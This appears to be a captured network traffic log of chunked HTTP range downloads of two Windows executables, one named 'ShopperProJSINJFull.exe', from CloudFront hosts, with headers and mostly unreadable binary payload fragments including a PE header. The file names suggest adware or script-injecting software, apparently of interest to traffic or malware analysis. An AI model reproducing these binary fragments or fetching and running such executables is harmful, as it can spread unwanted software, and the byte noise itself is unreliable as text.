.t.=B.$.3.].o..#.t3...w....c.OK..1=}Q.b.;$...]..?i(.L7....';..J..-.Z..
kE6.`bs.P.P=y-..;It.......T&.........;[email protected]..&n
.....*v......-.d..#/3.o3.....>...x....N.w;.h.1~?TGH.~.E.mu....{.6.d
..g.(..?#.p....m.{...$....'.K...k.%...Y..~m....B.O.U..`.f.0.D-{>...
.^.....5..]M..u...F[.v.,QS......d<.:iQB..0.*....(....H...........b-
v.Rz..c....,.....{zW..Y..=h#.F....T....WFt.=..*... .U.q.."[email protected].@&l
t;.]o].\.BV~...T....2f...7.......{W......V}U.!....8.......b .V.> ..
.....d..i....J.%(..V2......p..3..%'.|...).jd.`(........w.;..?...\.....
6...9i.4L......V...e...7vl....".&n.....%..=...(...$;A6".i.s..Za..S...&
gt;<.?.l?Z].?w..y..s9j...K......f J$L.;.10.E4=..iS.mb....!@]<A.P
.......i.SRu$.......CD...:....{...y....:_f...s......D.e.:a-...5l......
/...`......;s}.....5L.....}V.I............&. ...<8.....r..>C..B.
K.B..X...4.gLl.....|....r|...dm8....._}[email protected]...:6).)73..
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2500000-2749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d2bt1dcmxj05l2.cloudfront.net

Connection: Keep-Alive





..J.8?..'.X.c .'...y..S.5.%._.NX..$3....kOH..!^...Q..&...nfpo.....sE..
s....A....~'.bR......w...E.Q...)0T\.V.=.Y...ZR....>..T..h.. ...E...
 .1.2.....[u..S..R9....<..Xc6....uq~S.q..i.'ZpDH..U.... 4Hm..Y.....
.Hh.M......T../.....j....x\>._...oL._..........4Q.G......~MlF.....;
AS!P.T..y)Z..G....5..x.(B.`...6..{..Y..l..<Yo..,.}..O..5...)sR...G{
......D1...|..#.....{.p%.......K.l..(#...1.-./2...)........_...u&.....
...Ge&.%^[email protected]]Y\HjkU...mB.*..;.....8.H
dq9%3 .3...O...ea.v..?......G ..i...d.<..vcq....8....M.J1C.....o...
........N......[}v..k.....:.[..D.9@.........,..m....w.Z.&{.....)."..x=
E.2.B.a.M.^sDk.d..Y.....w..=..l..lO..,g`._Q..........._"...gdo...../?.
...7[.Q.Px....U......X..*..aS........-.....9..........%[email protected]...#
.......z(e? Qx.h...8,.[.........c.r...Q....'..k.;..*I...y.......5....2
.....HZK..q,.....>%e~.a.pBi6........edC..3.e..}..W.....Y6.E.Q.'....
...3.(T...y..:nt..= Y.....-.UZ..*_1...gqB.).......CfNC..V.....O.y..ptZ
$..($...&7...n.QT..:D...8....N%.....q.8.4,.).A 1&.E...b...............
...l........!...Y.e...,8.< ......W..ai..mt.h..#7H;o..5...>......
...L..R....x,w.n..k...._....j...;..,.K..x......^1..d..K. .H......r.H.~
Hk.0.j.D..gI%2........ve...=O........E.:.K.z..IgN/[email protected]
sc..||l...{....}.(.8.{.M..u,....D.7!.U..`4...Z.4.61-U4[..@._.C...=.H.q
..#..W5}...?.:k.x>e....A|j.1...0.<@X9....!....4.VHF1. .%H......T
~.:.k..1Y.DLp.......[..E.O.8`G.-.sl.:G...C.;kxmb}2?.h....6.|..z.n`....
.:........m....nzzn....E...I$....qi.=.]..N..... /..s......~.......
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=3000000-3249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d2bt1dcmxj05l2.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Tue, 16 Dec 2014 18:33:45 GMT

Last-Modified: Tue, 16 Dec 2014 18:18:33 GMT

ETag: "8636e548ab5cfbeb08cf75949dcd0a42"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 3000000-3249999/4686543

Age: 79791

X-Cache: Hit from cloudfront

Via: 1.1 627cfcd63872f08990562b39898647d0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: a0478HzN1gVqMssKTVRIJmRJSu8ss9oQ9GQdbtnAO5MbRp14EjHBvw==
..6......t.uY..O{....K.n..gB.!...m......w...W(..Q....d;m..Ck(..IW.....
.......}...^...3.YR>..rw0.LI..}:....[@.<.P....j.. t.K.)jG.=... .
g<Y.A.......|.Y.d..*..O...y.......<.o..YP.w]..g!^$4.n.5>.3..F
...E.q......[...oN....L~...K;.^......B.C..$.....$..V......2F.4.!wp*.]T
S.2I.i\...>.@..*{m.........b]%..^EH:.~..f.....)w....~....d.......v.
..p..0[\.t..iV.@3Z.....%..b.W>.. .....NSB......yY4pg..O=B..0.....Dh
...d.k..b>1.,.L.*.=...)K..MB....IG!..5^.Av...?.ZH.5..-s...l......_.
.....}t.ry..g5E.k.(......b...M.-../5....`..a.."R...........{V%.4.q..*5
...........3.y...9.?!.<.kv..."...<.Jjabo.T..S.Ov#.I.%..,..ZF.v/.
..U ..|....*>L.m....h.p.]...".J.p.b1..N`.."I..0g..Z4tL..p.z..R.4K.}
..Gr.@.,S..".M0.D.Z...nL.X....g7]a.....Pj-w........sW.4....c..A....v..
>....>.b..]\.4_C..L.z.INJ.C......h..7.........4......^..........
.....?>i.`..{...jj...D$R.%..P..J.....J=9..}..I.3!...U:......L..D.TM
/*..O.u.$.......1rE...(..~][email protected].
...I|b.Q./.......kN.0.....O.O.j.i.q...j.tH9.5...o) ^l.Z..a0.....V....&
lt;S!MD.......~..laq........r.5.s.c..:.....u/..mP.....2..@..>h...."
.L.......i.j`.1......%u.x.......Q..b@2..{Y2o..W...=r5....8)@.)........
......*...E..y....&...Bo......V4.~m..... .. O..]KW.-'.7Q0Z...c..R...J.
.&."..:A[j.Q...I..&n=;.<...S.3}H......K ...K:...........Az.N.2F:..f
Bc....f.y......a....c......-sq.\.5.NY0U.v........t...e.G9z.R......}.e;
...a..L.p....._..)....<l......pD.*tjW;O..../.....:..Q.....w....eZC,
0...-.".....j}..]Hd.G....f...(.z.$#..?D.\s.5Z..e..z.......Y..UO}G.
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=4250000-4499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d2bt1dcmxj05l2.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Tue, 16 Dec 2014 18:33:45 GMT

Last-Modified: Tue, 16 Dec 2014 18:18:33 GMT

ETag: "8636e548ab5cfbeb08cf75949dcd0a42"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 4250000-4499999/4686543

Age: 79792

X-Cache: Hit from cloudfront

Via: 1.1 627cfcd63872f08990562b39898647d0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 7z0Zu0E0D9RljbChIhco-IK7YHAdYnwyr3QvNg9W3NQ-50ij5-iaQw==
..8 ....8l......N...^[email protected]....!...l.......a.Y.....K. ..._',k..~
..U..\....X...GI..$.A..r......5.W.e/.Cu.p...q...5...r...m.K...T..%'..!
C......].mXe....|~E..........AR.qkH.d.&6..<...1Y...#..{nO'c.c.Q....
..m.D'.1.....Ml...H....UO...........BURi....DdA... .@..?L.~...U7..#...
!....OH.T..9...ps..5Xn.<..L...^Z[...!.$..^u...s5hk.....C...A.....w9
b..3n..Z.......4...1.....T.v.C.3.8.>..(N"'..n...]#.;.Q.sG.'..ZK.?..
v.D......Ae......OOQ.........l..v.K......9kM!.eF...n...Zf..w.-....1...
......:7.:k.........^5 ..."..1..P.;...X .~.g$.$.\D...RZ......~...#.u.5
t.YEq<i.....x...h..g.P.C.....S.....:...7.......9.. ..5y...xs.8..c.a
.o...w`..?....\A......B.n....o.>i..._..*...m.....VrF.-...!Q..W.=...
uA......cM>x.pM.vb9i...."..=.k...2.r....wN...E.Nk.....>8K2^.....
B...H.........2q.....S.....F)[email protected]...:.wX_.f....
..~............c.4.c....t..g.......!.....1c... .@....._w.OVBk...*k..T7
J....y...z#L..*L.Q..3.s2...te..R....}Qf.~o@^U9.G.y.-.......s........1e
H.....H...........-E...../[email protected]~..&-...0.....D.^
[email protected]^...H.j..P.%..^-eEmf.E%...].}|.
Z..&..|...}k.\e.6F..e.....L......v6.(D..&..EkH...n.7OP.zf...9n.J..0.i.
....,./.Fz.(.......t.0.......7...8..J......p>...$..f*.G.cw.a-.PBpc.
W^U..0.u...v._..t}.c.....2..bm^.....[I....~.#..b....w.&.lY ......$....
...ohK...;.,.0.rB.6F.p8R~.....`qJ................A7.1...z..B.IFr.0...h
!...B...,}...?..B(.r.a.V]D....^?5{K......v..a...............c.&Z..y..7
.T..!..C..Nv.5(......x~n. T....c.....N..w.....9tx..v.B...m.....O..
<<< skipped >>>


GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Fri, 25 Jul 2014 09:15:55 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-249999/7592848

Age: 49621

X-Cache: Hit from cloudfront

Via: 1.1 62ac9e5fd8ad07f5f2bb5671226b1cbb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Gtcciit8MjwBJC-vu1UkjRjy-xOcOnL6cnR86obmZrVPzXdVyXLj9w==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......5..Yq...q...
q...q...~.......t.......p.......p.......p...Richq...........PE..L.....
.7......................s.............. ....@.........................
..t.....2-t..............................!..5...D ..<[email protected]....
.......s..............................................................
 ..D............................text............................... ..
`.rdata....... ......................@[email protected]...............
[email protected][email protected].................@..@...................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....x...SV.....W......
V3.PS..4 @.......VP......P..0 @..=, @.SSj.Sj.......h....P......E...{..
.......PV..( @[email protected]..$ @[email protected]
.../...SSSj.S.u.... @.SSSj.P.E.... @....E......G.....MZ..t...MZ..u..x.
.t..E.@.}.....|..M.SQh....P.u.... @.W... @..u..=. @....u...... @.j..E.
Y3..}.V.........E.D...P......P..0 @..u.......".......F...:.t..."t.@...
8"[email protected] [email protected]..< @.....E.P.E.PSSSSS...
...SP......P... @...t.j..u.... @.......P..  @._^3.[....:.t... t..H
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Fri, 25 Jul 2014 09:15:55 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 500000-749999/7592848

Age: 49621

X-Cache: Hit from cloudfront

Via: 1.1 62ac9e5fd8ad07f5f2bb5671226b1cbb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: GKPqbP27eO3mt3qrpge4CH-J3mU_5m5V5IfFR5c2E8LRCND1Y6Njzw==
...?.)..=.0...q|. ...N....hi.k..HfI.8E...`.....Qqm..7.g..O...C.g......
.k5..".h7....`M&0?*.'X..D.KSPO5hY..h......<....>...O...<..7..
............}..p ....8(.5..$..|....1...Fny=.....9W.9..{A....y.: .. ..^
v.^Wsl!".R..'.r.@.<...ioM.............wDlk .3..L^\.z\7@.;x..6.]j...
[....-...O.J..q.kt..Af....ed...[F.vT.v|<.&...*].(D.R..n....Fe..M...
.(.X.{$.4..h..%.."Z..C..%.....R.b{.|.[......V..!W.x...~Nj$.U(.5.)....A
84B.5..qr=....3.......'.D.....;...T/...........[Fx.....:..-y{......94.
IH..M......).P...v... .....#yj.`...-....`..h...=.Y...v..V..;......i...
&>...V...'c2.7...4....t..../.f..l.%~G.a .x...(......T.........^A,.n
a...P>...?. .&..^..X.K5-.0<.J#.........w....An.j...m..../.>^k
..I...Y..?.'.k..>5......nG....D.l!..c&......._..Jb.C.h ..m.O....W^.
.@,..?..o.}..P.K@T....)&.G....a.n.8d../[email protected]
.vetE....L$Y...H.....t.....[..}.`..m..L....`.........\v.^\..... ..2.U.
....Qu].vJ.....Pb..ZP.du.>.k.....!.S....7..:..&V.Ya....~..^.W......
..n.n.S.-JeQ..r.F)/..W.O|...'b8.|.l.....Fw.f..y......jB../.iVg........
#... ..D.....[.....x..,.:).]b...K.h%.\.}....| ..P......1: K..?..ux...P
...7w.5-..w.U.I.e{.fh]...........M....<..&...3..........].F..aY.Rj.
......D.3.Q..Y..../?.5......j..........L.P,...7.....]........UUP8X..V7
...=....-.......`;^.,P...b.U.....K.l....yV..0..z.....[Q..!..I......w.B
.nNB0...>.._Q...]V...sm........8.9..3.Kw.B Gl&.....g...0Au...P!...t
..... a.X..v....R...;..W.......6..e..Cu.,%...u....[..<i:....#..{[..
8...q..&._...\.r.4.Uwg5.K|..jaf1P..21.8..R.:[..]...p.bs.8..J6..LJ.
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=750000-999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive





GiH.8....5$B.^.U.s...#q.s..a..2cx.&z.y....|.v...~lRL.:....e.9{........
.........dW...a.[.5`.0....z.. n.....P..G...g7..$...'.q..%(.L...c4q..@J
....`...........J.7-.in.p1.~.n.."K.HJ......G`.\EL..(.....!..)....._x.#
..0.R.<e.;.....v...|.b.hg.......y...8q7c\O...).........~..6..q&.q..
.S7[.<Dh$U=..SF8. ....I......u.5)[[email protected]...!Bw.q.7c..V..9..>.Q.
....'.7.b...B...............m.95J.r..!.TXC..q..D..}3.......TB.DF...Hd.
..>....I.2.*)dnd...M....\..T..Q[E.......U/..R......c.Q....../..T.._
u..n.....Q..m....x.gk..J.{.2...Y.W....t.t%....mh..=..T....d..-.w..C...
.-\.v...^.~....Mg.....(1...f...3.Q.'LVv{._P.t.......)........A.....p.B
..(..5..2{....;S......:......xG...~..b.....H....|..e.r.G.q>.....?..
.u..r.S..J...!....K.@Q[2.l.z.....AA9x.....Cd.t..@.}.j.ss.Tzuz....t-...
B......D.HG.X.p....:.%.o..... ....._;,F^]$...."...@rJ. ....K...E.....Z
....V...iZ._.........."..0H...............n].o.7i>Z....<...<V
.o`g..GrH.*.......@ I..".(5....8.^.Ly.......H?.....d....u.C....\7`..gD
.d...r%...b.-.z...<......%..|.ZF.K..G .{i...._].n4..n.=.5m}......=.
].O%.m/.."L6.aL$u.T.p....p..7D..d.h.;.S.l..|.!......d..r..g....B......
`p...E;K..R. ....?....w.H.D.......=..n.~w.!..........t..B.l..H1...R;..
9M4i......j.b^=A...A..mZ..._.5.'........o.(..F{j68..$.O.8...Q.Y.8<X
<..n....'8sA.X..6...w..sn>....D...2..aDk.....8\.d..{.f.a.27M...v
..~D#K|'..u....(~...r..R.....#.(........=AV~Tp........B..?....[C.$zC7.
1gG....".TJP"C.....=kb.})S....uB.T......4_.U...A...V....z..5...?5.-.P.
.w..aEm..'..M....N..e....|pH.."$[..x.Ys...f5*...[5..b.@S..;...g4..
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=1250000-1499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Fri, 25 Jul 2014 09:15:55 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 1250000-1499999/7592848

Age: 49622

X-Cache: Hit from cloudfront

Via: 1.1 62ac9e5fd8ad07f5f2bb5671226b1cbb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: umDZQs_zF0lb1-plBxstbHZyhWW44iMkOnSifQFlzsi8MmfAqyAbWw==
.NiH..Z.u.......H..j-.[Z%..!6b......6\#.m....:9... ......n%b.J.uI.4...
..n...=.cK.v.x-..,.T"^/4...*.....<U....._5._..<M|...=.i]....n...
YV.....W..V...H.;.....P....R....ynw.'.y....Z...:[.9)Q.&9.....r....D...
66Y..W.....rij.......,.2c.....<..ia$8....H.]..../."W...W.'.-V..z...
...C....Z...o.%.;."......5M.|..NBg.......[..........3......f...n~..M.D
.d2.....".>.T.]==.....?Fy.N..%?.d..,~...P....{..`>.6...$..d3^g..
w..ec...a.O.d.m`[email protected]......<r5.S.............o3M.
..R.s._$-...$.(...8.*.6.%>.~..5...}P.c..d3..2..0....P.U.j.!..8q..MN
...B.PN..c.....7).K.....u..F..$....z..."V..N../~@...."..M...M`[.......
.....i..1Kf......NR......*.1.P]&5gwm(..`.l3..L.HT.Et9.N......K.dc....)
4vU...)<hp|.........Sj/.4H....... 7...'.R..o..[. .._.K....:..S..{..
&J:...>.b..k...*..k.^~.... 8;n....B2.?..0&.n...-6.0....c..7..4B....
~.....jI...K1..G..ISZ^....E.;T.......2y.|..{...\s...s.g...ma.{:#yT....
..k.....y...<[...|ts..].0o..y...k....}....W.y..u....<..T....:O.-
u..y.<.'.y>..?......:....y6.z.|.......o.y>.i.d=k.....u....d.F
Y.E.......;2........2.zY.>....:O..g....O.n.u.w[.'....&......3m.C...
G.5%'|....^............y.(........m".w.....d)1.|b.8...t....5T.Qa....`.
............6.t.6.....8.X.!..9.)......'... ....J*....C.M........,...d2
C.xZL..MJ{......u.D...b.~h...K.....YY.......k........Xi.Wtb.w).F;_i...
...q.~.'72D..t...)I.5...Om.......p.._..&..1....i)r...4o<.]..V..z.O.
[email protected].....?}..#.F:.. ..O...X..Uud..\/..y.P/..........B.Q...
A.C...v3.r.r..{.........s.&.q...h...g...R....$6W.........j\v..g0F.
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=1750000-1999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Fri, 25 Jul 2014 09:15:55 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 1750000-1999999/7592848

Age: 49623

X-Cache: Hit from cloudfront

Via: 1.1 62ac9e5fd8ad07f5f2bb5671226b1cbb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: HK1aBgGA0iJiEsydZMXi04zDAl4YBkzpmvq1NPIVYNj-f9NEZKU5_A==
..P...n..q.r....c....'?Cs.kv..:.I...x.G..........u^...u.E%..B.N.8e..d.
Cg.. ...C.....ZI....z.>J.........$*.. }k.Vr...l.f...*...jAk..&~....
"SXpq.1...."...c..l.......2....bk..o.....\.a......^.i=.5.I.Z..Ox8%N ..
.B.....!(....c..j...9..z~B..`l&..Af...^[email protected]. ..=....L0U...
..)....9.....;`.....U.......(F.w....s....s......[....e<.|;9..i.Gh..
.5~h85.S.L.H)t..K........xs.Z-b.........L..rL.Go.j..~...p..Ue..Z..'...
..T.O.?.M...x].E....W.K6>...<......... ......f.=...........Y8..?
..Pa..c..C...J...X....[C;.t.....C. .......p.].l2~.=....=..R...gK...F.d
;npk&.E...}....[..U0..@..][email protected]=.m...R...........UT...........*..=...W.
.5.F\.Y..;..c4...P.D5..'j,9.........Z..(....2..E4.....&.......V<..T
(....GP}7,....2.c...!._w. .WI......k.R`U....,.....j..(......n...H}....
a.<..q...).........*[email protected]^SLX..e._..F....N.
.......u#.RCI|).&..c......<....4..=:..`.-.d..H...Z.X>n.....4.VV.
..g.&.{a~.^.......f.......T.f.}[email protected](;.JYQ.
<.....-.}h.g......6.S.'[........{fi..W..!..K.._.Uq..w..m.u.. (.....
...w...s^..R.T.ei..,.N)...y.G...?........q,...F..D.....-..^R.....kk..~
e....X....(<...7]..gTB...g.....}v.3W.t.h\g.....V...!..pD........'.E
......!...>2.G#B..f...E..&.=p.L.b$:.....%.N..E......A5</.......$
/../...bu$...;.V.V;1......y.%...2..8...K.".....p.....8..l.\^.>7h...
...-.....z.."o...T.|3...jP......[f'...y..ai..IA;..Q...?9j......X.4.'9-
.%..{............j..'I.h.....Q............l.......J.%8....e.:....$u.7[
e...].........d->.I.>N|*.....2.......GO.... ....H.......J...
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=2250000-2499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Fri, 25 Jul 2014 09:15:55 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 2250000-2499999/7592848

Age: 49623

X-Cache: Hit from cloudfront

Via: 1.1 62ac9e5fd8ad07f5f2bb5671226b1cbb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: D1kGYG826Ws05QeYf24cTvD1JhqODtWNJXSa-KNgMaD04h1-GYU-lg==
.NR...RT.... ...n...e...T.....@..{.,C..../D^..h..g.].x..yIhI....$Hs...
..Zh......'}j..!)e.J....;S................w.....g.;hz.7....w.e.. ..u#.
._.....E..B.l..2...i.O.."....*..5.....}^....<(..n.....e.q....".P.A.
..x...<..c4h...v3M.6}0...Fjpj..H!......S.......u.L....R.b[.7..c/KU.
.L.?X.).;$EH.8.VS..z.......R_^'...2.L.]>..Y8.*.........gl....h.?..g
.ck[[email protected]\wEj....90`.M..uMB....0...v.Z7.l._......u....N..
.\.x..k:jw..k.z.....]...O..v.....W.I..2........ Z...?.?yJ.9.).........
.d. /.}.EdM......q......\.w.^a.~g.c]..PT...|..$....jVk`....`...../.9 .
..M9B.V#[email protected]...`.....H...gr......w..uB.....]^'..$Y
.B.........B.\ ..=p,C...Y....Y..P&......f.....(...%. .$......PH. .Y...
J..Q,RD.CV...U......l.b!aO..j....[.....}2/......g...S.........>g.sf
....:....;............s.....7..F.........`.]XI.X-..])]...v.i..VK..BL-.
.|r..g^....:...H.#"..@..,.1-.....`.0.dy.c...^..$.:D......7O.......s9.k
[email protected]}.B...Wd..(........){.c..%.....Z[.d.vu.h3...c.
..qA.}[email protected]...
Ay........Q...u.Y.9. -4.p..X...&..9q.k.H]..atd..4)l.....o...N...Y...gD
.n=_..... .r...U...~..*.9Z.J"...... Iv../.#....k2.e.v4t..gX../.."...5:
.(..W.~.=BG.....ia.".QW.?v....8..~....K......t..o....:m-.#.L.4..Mn.2.:
...F.#..n.....L.......N.5!"..%,..o'h...t4.%...;...!...t.q)~...~5..y..X
..k[.\,..D..i..6.z..=...5....n#....k..#...A...H.[..... ...u....p..#`..
......u..y>....e[...'.D...P......|..[.>..4..e...v.v.i..........&
lt;m(.`..9..bk...bt..!..p....."......l..]g\.......Y..CEtXs%..=....
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=2500000-2749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Fri, 25 Jul 2014 09:15:55 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 2500000-2749999/7592848

Age: 49624

X-Cache: Hit from cloudfront

Via: 1.1 62ac9e5fd8ad07f5f2bb5671226b1cbb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: w_aE0hBXulg0hPdOhheKT70HDkNjlp5X5Hpf_1e5Pn-k8qx9QtGigQ==
....jh ..M.....I.. x.....;bjX.;l....%..(w..>"V......^.....l.^...r..
. (c.n..dI.R#...o......m.,G.......(.Y/.H...l.........:=...YZ.>U.6..
.. .$<.......9.U...... r..Mi..=...}..=3.........t.uO.&u.4?.....^x38
..6.{.....a .6.K..e...8.'..rT`J. ...`.....#,YU..C.et...R...$q,.`AB.d.]
.=].u...z....../.9.v..2........[`./..~..:6G9.9..yE.S........6...O....H
m..l...i.=nI;).;....]..........5E..5......W.rTN.?.{X4.#.(...4p.J'....q
.|5IX..g{2..........w.!.Z......'*{....<..!......5 ..?D.....&&.!4..!
x....r..}..5..|...........'..................d..........sg...4.x...i..
j.......BzJ...Y.|Aow.x.(.;g.|p...b..!.2.%k..b.V.(.B......:..kD.../..5q
...d.p.3v.A{....ty.B[;Cr.....}Y.a.x_ ..5...~...O.3.f..".~ ....m0..)..i
......![.bT..n.P.n>i)]X..cW}K.....vB.0.L.2.cGv..S.._K|~..._YSF\CX"I
........!...:.$.......A...f.%.E...`|.E.9..P...].F..r.... <[email protected]..
...n.....1.0......>. .e.fl..|.k..3_8V..a.."{IxV..7.g ...p>.Lg...
...od..2......^.;..9B...q......e3..Y.....I."...h.*,Y( ...x%&XU..... t.
...P @7f.%LN...RuN............w..^...a..r....34g....R.0.=..`.....d..L.
..........=..Q.<.....P.X..6fH ........;.....)........i..~.{......O&
gt;.Y....r...K..{P....{..M...W..\....b..>..%. ..\....R..b.6...U...c
..p.I.....2.........._*..2..*z..>y.3.Y8l....&{...D....ms~.p......./
.Ey......x.f6.. I.f...K.H.._D..g(.1~..5..8}uQ..D1[R..r\.9u8Ns.Z[.k...;
G*3........&......s(x.6n>..q...1.q{.jp..}....)._s.^...fp.i.PRS..N..
U,..@{N!....:..7 ..=......O..E..2 .4.?$.....?...B..P.a.-2.....t\5B .}.
...x..uK.1i.b....F...;...B.Y..-...m.....[..A$.#....T...<...d[..
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=3000000-3249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Fri, 25 Jul 2014 09:15:55 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 3000000-3249999/7592848

Age: 49624

X-Cache: Hit from cloudfront

Via: 1.1 62ac9e5fd8ad07f5f2bb5671226b1cbb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: SSn5-VNNCHqLWZlbiWeZDExXr90R40rOtde5GNSE9bAWyCi4Msz18Q==
"..k...L.,..n........mza...G.v~.(.M..C....Z..hi....N*......d.....3.C..
...Y\y'3...k].....o3.....,;...g....\......M..}...~x.....gT.5c.G....c.j
.x...2.....ug.......kF...3.M.v....s...q....50.._.M.F..R.n...../...\d~.
....V0..l]}.[P...v)F....I...... l...."....m..G...X`o.......K....@T}w..
...4-....../.|..7.....4m.....B...V..A.Q..........q.2YW.5.....^k..Pt...
YZ'..0r4i.m.J,.9.<<.i.....l.N;.]m...cX....Z...].97 ..X>.<.
......D.#>............_...,....f.....u.......!k....T...v..G..2...j.
x.. .c........?3..0~...(........W...}?....2....gL[..>ti0f.u.......D
..[.X4.<8.O....0.$}..S.i..........qI.~...a.T7\A.b%.tc..7.sk..K[g...
A.-w......ae..W.u..V...44J.Z....7}o..9.....{.u;:....4c...t.X..z.../..$
y.89@Ss ...iQ.C.>L...q..hV.....M{...o...>...t..o.iLtL.LiY..:6I.a
. {.^[email protected]....<O.........l....&..........f= A....".. 3w....emM
....PZ.S~E.....(.*..."...B...y... . [email protected]?.gA...) }..547...s.$.
..z...].....@"|2...7..U.....t..N.*.c...C..J....)G3..l....{@.6s......D3
[.jC.w.W.o...q_..a..#......?..M./.6....)GW....F......}...y..4.T.?q!..6
.Ay....?.........j\..|.:']5:5.A.'A&..OA..A..*...8..b......w...A2..7.13
9/v=x .yc<..y.y.L."P.,D..._..n...........#;A.>MJ.U]Y.T.. ......;
x.}......r........T.....j.f...X(u........EO..H5.....n=X.$w....f.T..T'.
*3.J1.e>.w<~M..}..x..<....n./.T....."..3...9.....t...<-m..
|D.f....a. .g..a.'P.....;..........8...}...#..>[email protected].&
lt;../h....h}.(.r..gE%6...G..6..H......u.Y>.8g...g..@L....".-^.v...
.;.0~.........Vu...........3..y{.>..CQB;.....y.-.`....z..wd..4Y
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=3500000-3749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive





.f.-...5k... .Xp.....L.....i.O....:..d......Qn.9..0...j..T...hB....N..
l..........q.0..1..G4...............l.._..Q......w....8.......2...<
l.....?../..r.....}~,i......^\......P..H...o..^......B.-...E4...t..M..
.6.;[email protected]^....1....".....:....54..J..!.&.{..v.Cg.3D..P......W|?..Nr
